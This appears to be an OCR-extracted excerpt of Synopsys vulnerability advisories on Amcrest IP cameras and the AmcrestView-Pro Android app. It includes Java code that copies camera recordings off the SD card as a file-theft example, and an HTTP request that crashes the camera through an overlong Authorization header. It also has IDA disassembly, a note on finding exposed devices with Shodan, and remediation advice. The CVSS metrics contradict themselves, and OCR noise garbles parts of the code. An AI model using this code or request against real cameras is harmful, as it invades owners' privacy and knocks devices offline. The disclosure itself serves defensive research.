	Alexa		File folder	1/20/2017 3:05:00 PM		20170719101751.day	1.450 KB	7/19/2017 10:18:11 AM	rw-rw	root						
	android workspace		File folder	4/5/2016 11:43:36 AM		20170719101751.jpg	171 KB	7/19/2017 10:17:52 AM	rw-rw	root						
	android-support-v7-a		File folder	7/10/2017 2:57:42 PM		20170719101511.dav	375 KB	7/19/2017 10:15:17 AM	rw-rw	root						
	Broadcom		File folder	6/23/2017 2:11:44 PM		20170719101511.jpg	171 KB	7/19/2017 10:15:11 AM	rw-rw	root						
	FDNS		File folder	4/3/2017 8:23:40 PM												
	fetlife		File folder	6/24/2017 9:55:06 PM												
	fucker		File folder	7/14/2017 3:15:34 PM												
	Hardware hacking tut		File folder	11/22/2016 4:57:35 PM												
	loT		File folder	7/11/2017 4:47:22 PM												
	Misc PDFs		File folder	2/25/2017 6:54:37 PM												
	Pics		File folder	7/14/2017 10:30:26 PM												
	Security PDFs		File folder	6/9/2017 5:27:29 PM												
	sms_reader_blog_de		File folder	7/14/2017 10:18:22 AM												
	Spam Cartel		File folder	2/6/2017 11:18:54 AM												
	test		File folder	7/8/2017 10:38:00 AM												
	Text Files		File folder	7/8/2017 10:41:09 AM												
	Triveni		File folder	7/17/2017 9:04:38 PM												
7	braintree_property_1	206 KB	Adobe Acrobat D	7/1/2017 9:25:22 PM												
7	Hacking+loT+for+Bu	47,544 KB	Adobe Acrobat D	7/17/2017 8:00:40 PM												
	] app.bin	874 KB	BIN File	3/15/2017 4:50:46 PM												
Ģ	CSRF-Exploit-Gen.html	7 KB	Chrome HTML Do	9/27/2010 4:16:14 PM												
Ģ	test.html	115 KB	Chrome HTML Do	5/13/2017 9:56:15 AM												
1000	sms_reader_blog_de	98 KB	Compressed (zipp	6/26/2017 3:46:54 PM												
2	devicechannel.db	48 KB	Data Base File	7/19/2017 10:03:32 AM												
0	ann idh	10.057 KR	IDA Database	7///2017 2-28-52 DM	Y											
0 B	of 54,759 MB in 0 of 42			1 hidd	len	1,450 KB of 2,165 KB in 1 of 4										
									G SFTP-3		0:1	2:25				

#### **Vulnerability Description**

Well in the earlier case we identified that the clear text credentials were being stored by the device in the application's app folders. The good part of this is that unless an attacker gains physical access or a malicious application on the device has root rights no one else can read those files other than the application itself. However, we also identified that any recording or screenshots that application takes is stored in clear on the SDcard of the device. This is especially bad in case of Android applications as large number of applications installed on the device can request access for the SDcard as a part of their installation and most of the applications in Android Play store do require those rights. However, it also means that any app without needing to root the Android device can access these recording or images and be able to gain sensitive information recorded or screenshot by the device and Android application.

#### Exploitation

A malware application installed by a user accidentally can also allow a remote attacker to to be able to grab the recording and screenshot file would allow an attacker to gain access to possible sensitive information or allow an attacker to view and identify what the camera is protecting specifically. The files are stored in /sdcard/snapshot/video folder. The video is provided in dav format and Amcrest actually provides the DAV player <u>here</u>. Here is Java Snippet code that an Android app can have as a part of stealing files from /sdcard/snapshot/video. An app also will need to add

```
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
```

in its AndroidManifest.xml file

```
private void readRaw()
{
    tv.append("\nData read from res/raw/textfile.txt:");
    String[] file names= new String[2];
    file_names[0]="20170719101751.jpg";
    file names[1]="20170719101511.jpg";
    int size = file names.length;
    for (int i=0; i<size; i++)</pre>
    {
            File file = new File("/sdcard/snapshot/video/"+file_names[i].toString());
            File file1 = new File("/sdcard/myapp/"+file_names[i].toString());
            InputStream in=null;
                        try {
                                in = new FileInputStream(file);
                                tv.append(in.toString());
                        } catch (FileNotFoundException e1) {
                                e1.printStackTrace();
                        }
            try {
               OutputStream out = new FileOutputStream(file1);
               byte[] buf = new byte[1024];
               int len;
              while ((len = in.read(buf)) > 0){
                out.write(buf, 0, len);
              }
            } catch (FileNotFoundException e) {
              e.printStackTrace();
               Log.i(TAG, "****** File not found. Did you" +
                        " add a WRITE_EXTERNAL_STORAGE permission to the manifest?");
            } catch (IOException e) {
              e.printStackTrace();
            }
    }
  }
```

🌆 myapp - root@10.0.0.76	- WinSCP									-	٥	×	
Local Mark Files Commands Session Options Remote Help													
🖙 🚉 📪 Synchronize 👼 💤 🐼 🎲 🎲 Queue 🔹 Transfer Settings Default													
🔲 root@10.0.0.76 📑 N													
Upload 📑 🛛 Edit	× 🖬 🕁	Properties 🔂 🚹	+ - 4			🛿 🚰 Download 🔛   🖉 Edit 💥 🚮 🎝 Properties   🚰 🖍 🖬 🛨 🗖							
C:\Users\romeo\Desktop					_	/storage/emulated/legacy/myapp							
Name	Size	Туре	Changed	^	•	Name	Size	Changed	Rights	Owner	r		
<b>t</b>		Parent directory	7/19/2017 10:19:45 AM			<b>t</b>		7/19/2017 3:48:49 PM	rwxrwxx	root			
Alexa		File folder	1/20/2017 3:05:00 PM			20170719101751.jpg	171 KB	7/19/2017 3:53:08 PM	rw-rw	root			
android_workspace		File folder	4/5/2016 11:43:36 AM			20170719101511.jpg	171 KB	7/19/2017 3:53:08 PM	rw-rw	root			
android-support-v7-a		File folder	7/10/2017 2:57:42 PM			20170719101511.dav	375 KB	7/19/2017 3:50:48 PM	rw-rw	root			
Broadcom		File folder	6/23/2017 2:11:44 PM										
FDNS		File folder	4/3/2017 8:23:40 PM										
📙 fetlife		File folder	6/24/2017 9:55:06 PM										
		File folder	7/14/2017 3:15:34 PM										
📙 Hardware hacking tut		File folder	11/22/2016 4:57:35 PM										
loT		File folder	7/11/2017 4:47:22 PM										
Misc PDFs		File folder	2/25/2017 6:54:37 PM										
Pics		File folder	7/14/2017 10:30:26 PM										
Security PDFs		File folder	6/9/2017 5:27:29 PM										
sms_reader_blog_de		File folder	7/14/2017 10:18:22 AM										
Spam Cartel		File folder	2/6/2017 11:18:54 AM										
test		File folder	7/8/2017 10:38:00 AM										
Text Files		File folder	7/8/2017 10:41:09 AM										
Triveni		File folder	7/17/2017 9:04:38 PM										
🔁 braintree_property_1	206 KB	Adobe Acrobat D	7/1/2017 9:25:22 PM										
🔁 Hacking+loT+for+Bu	47,544 KB	Adobe Acrobat D	7/17/2017 8:00:40 PM										
📄 app.bin	874 KB	BIN File	3/15/2017 4:50:46 PM										
CSRF-Exploit-Gen.html	7 KB	Chrome HTML Do	9/27/2010 4:16:14 PM										
💿 test.html	115 KB	Chrome HTML Do	5/13/2017 9:56:15 AM										
sms_reader_blog_de	98 KB	Compressed (zipp	6/26/2017 3:46:54 PM										
🟆 app.idb	10,057 KB	IDA Database	7/4/2017 3:38:52 PM										
in humaite free v171	12 265 KR	IAR File	11/5/2016 11-12-25 AM	v								_	
0 B of 54,759 MB in 0 of 40			1 hid	den	0	I B OT / IO KB IN U OT 3							

# G SFTP-3 ■ 5:46:22

# Vulnerability discovery

-----

The vulnerability was discovered by manual pentesting the mobile application AmcrestView-Pro.

#### Contact

-----

Direct questions to Mandar Satam, Sr. Sec Researcher Synopsys SIG, <u>satam@synopsys.com</u>

## Remediation

-----

It is necessary that the application uses PBKDF2 encryption based mechanisms to store the files on the sdcard of the device.

}

# 9) SIG-EXT-04-2017-09 (Unauthenticated Memory Corruption) -- CVE-2017-13719

#### Introduction

\_\_\_\_\_

Recently it was identified that the HTTP device specification supported by Amcrest IP camera allows an unauthenticated attacker to execute a stack overflow or memory corruption on the device as a part of the research on IoT devices in the most recent firmware for Amcrest IPM-721S. This device acts as an IP camera and allows an user to view and control the settings on the device.

#### Advisory

\_\_\_\_\_

#### Overview

\_\_\_\_\_

Synopsys Software Integrity Group staff identified that the ONVIF device specification supported by Amcrest IP camera allows an unauthenticated attacker to execute a stack overflow or memory corruption on the device. Based on cursory analysis of other Amcrest products, this might be prevalent in all the Amcrest IP cameras and also other Amcrest products. This issue exists in their latest firmware version Amcrest\_IPC-

AWXX\_Eng\_N\_V2.420.AC00.17.R.20170322. All the firmware versions prior to that are vulnerable. It allows an attacker who can provide the default credentials to login into the web and HTTP API and view the screen.

#### **Critical Severity Rating**

Using CVSS3, it has vector CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H/E:F/RC:C/CR:M/IR:M/AR:M/MAV:N/MAC:L/MP R:L/MUI:R/MC:H/MI:H/MA:H

#### **Base Metrics**

- Access Vector (AV): Network (N):
- Access Complexity (AC): High (H):
- Privileges Required (PR): None (N)
- User Interaction (UI): None (N)
- Scope (S): Unchanged (U):
- Confidentiality Impact (C): Complete (C):
- Integrity Impact (I): Complete (C):
- Availability Impact (A): Complete (C):
- Resulting base score: 10.0 (Critical)

#### **Temporal Metrics**

- Exploit Code Maturity (F):
- Remediation Level (RL): Unavailable (U).
- Report Confidence (RC): Confirmed (C): On the basis of functional exploit written.
- Resulting temporal score: 9 (High).

#### **Environmental Metrics**

- Confidentiality Requirement (CR): High (H):
- Integrity Requirement (IR): High (H):
- Availability Requirement (AR): High (H)
- Resulting environmental score: 10 (Critical).

The final score is thus 10 (Critical).

#### **Vulnerable Versions**

-----

All versions of Amcrest IP cameras up to the latest firmware contain the vulnerability. Also in addition since the devices share similar code, based on just static firmware analysis, it seems that other Amcrest devices up to the latest version should be vulnerable as well.

#### **Steps to Reproduce**

-----

 Set up the Burpsuite intruder functionality with the HTTP request below GET /cgi-bin/configManager.cgi?action=setConfig&Telnet.Enable=true HTTP/1.1 Host: 10.0.0.12

Cache-Control: max-age=0

Authorization: Basic

QUFBQUFBQUFBQUFBQUFBQUFB Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.101 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;g=0.9,image/webp,image/apng,\*/\*;g=0.8 Accept-Language: en-US,en;q=0.8 Cookie: DhWebClientSessionID=1711129253; DHLangCookie30=English; DhWebCookie=%7B%22username%22%3A%22admin%22%2C%22pswd%22%3A%22%22%2 C%22talktype%22%3A1%2C%22logintype%22%3A0%7D Connection: close

2) Observe that the web server stops responding and the camera restarts after some time

#### **Vulnerability Description**

-----

The device allows HTTP requests that allow to enable various functionalities of the camera by using HTTP APIs instead of web management interface that is provided by the application. This HTTP API receives the credentials as base64 encoded in the Authiorization HTTP header. However, a missing length check in the code, allows an attacker to send a string of 1024 characters in the password field and allows an attacker to execute a memory corruption issue. This can allow an attacker to circumvent the account protection mechanism and brute force the credentials.

If the firmware version Amcrest\_IPC-AWXX\_Eng\_N\_V2.420.AC00.17.R.20170322 is dissected using binwalk tool, we obtain a \_user-x.squashfs.img.extracted archive which contains the filesystem set up on the device that many of the binaries in the /usr folder. The binary "sonia" is the one that has the vulnerable function that performs the credential check in the binary for the HTTP API specification. If we open this binary in IDA-pro we will notice that this follows an ARM little endian format. The function at address 00415364 in IDA pro starts the HTTP authentication process.

sub_49C190 # R8, #0 loc_415452		
	•	<b>*</b>
🛄 🚄 🖼	· · ·	
loc_415452		
	MOV RU	, SP
	IDR R1	=aAuthorization : "Authorization"
	LDR R0	, [R4]
	BL su	b_336 <b>0</b> 54
	MOV R9	, R0
	ADD RØ	, SP, #0xB8+s ; s
	BLX ST	rien
		, #9 
	100 KZ	, NU = 5 <b>197 0 0 1 •</b> "197 0 0 1"
	IT CS	,
	MOUCS R2	. #9 : n
	ADD RØ	SP, #0xB8+s ; s1
	BLX st	rncmp
	CBZ RØ	, loc_4154B6

This function calls another function at sub\_ 0042CCA0 at address 0041549C.

.text:00415488	ADD	R2, SP, #0xB8+var B4
.text:0041548A	MOV	R1, R9
.text:0041548C	MOV	R0, R5
.text:0041548E	BLX	<pre>std::string::string(char const*,std::allocator<char> const&amp;)</char></pre>
.text:00415492	ADD	R2, SP, #0xB8+5
.text:00415494	MOV	R1, R5
.text:00415496	MOV	R0, SP
.text:00415498	BL	password_comparer
.text: <mark>0041549C</mark>	MOV	R8, R0
.text:0041549E	MOV	R0, R5 ; this
.text:004154A0	BLX	<pre>std::string::~string()</pre>
.text:004154A4	CMP.W	R8, #0
.text:004154A8	BEQ.W	loc_4156D0
.text:004154AC	В	loc_4154B6
.text:004154AE ;		_
.text:004154AE	MOV	R0, R5 ; this
.text:004154B0	BLX	<pre>std::string::~string()</pre>
.text:004154B4	В	loc_415712
.text:004154B6 ;		
.text:004154B6		
.text:004154B6 loc_4154B6		; CODE XREF: HTTP_AUTH_RELATED+114†j
.text:004154B6		; HTTP_AUTH_RELATED+11A↑j
.text:004154B6	LDR	R0, [R4]
.text:004154B8	BL	sub_3361BC
.text:004154BC	LDR	R1, =aAdminParam_cgi ; "/admin/param.cgi"
.text:004154BE	BL	sub_4152FC
ANADAGC ANALEAGC. UTTO MITU DELATE	PD:120	

This function performs a strchr operation after base64 decoding the credentials and stores the result on stack which results in a stack overflow.



#### Exploitation

\_\_\_\_\_

In this case, the exploit is trivial, it is possible to identify devices that have their web interfaces exposed to the Internet by using Shodan and then all an attacker has to do is set up Burpsuite Intruder or write a custom script to exploit the vulnerability to remotely execute code.

#### **Vulnerability discovery**

-----

The vulnerability was discovered simply by reverse engineering the "sonia" binary which is located in the /usr folder inside the firmware.

#### Contact

\_\_\_\_\_

Direct questions to Mandar Satam, Sr. Sec Researcher Synopsys SIG, <a href="mailto:satam@synopsys.com">satam@synopsys.com</a>

#### Remediation

\_\_\_\_\_

Strict length check needs to be performed by the device on the password parameter.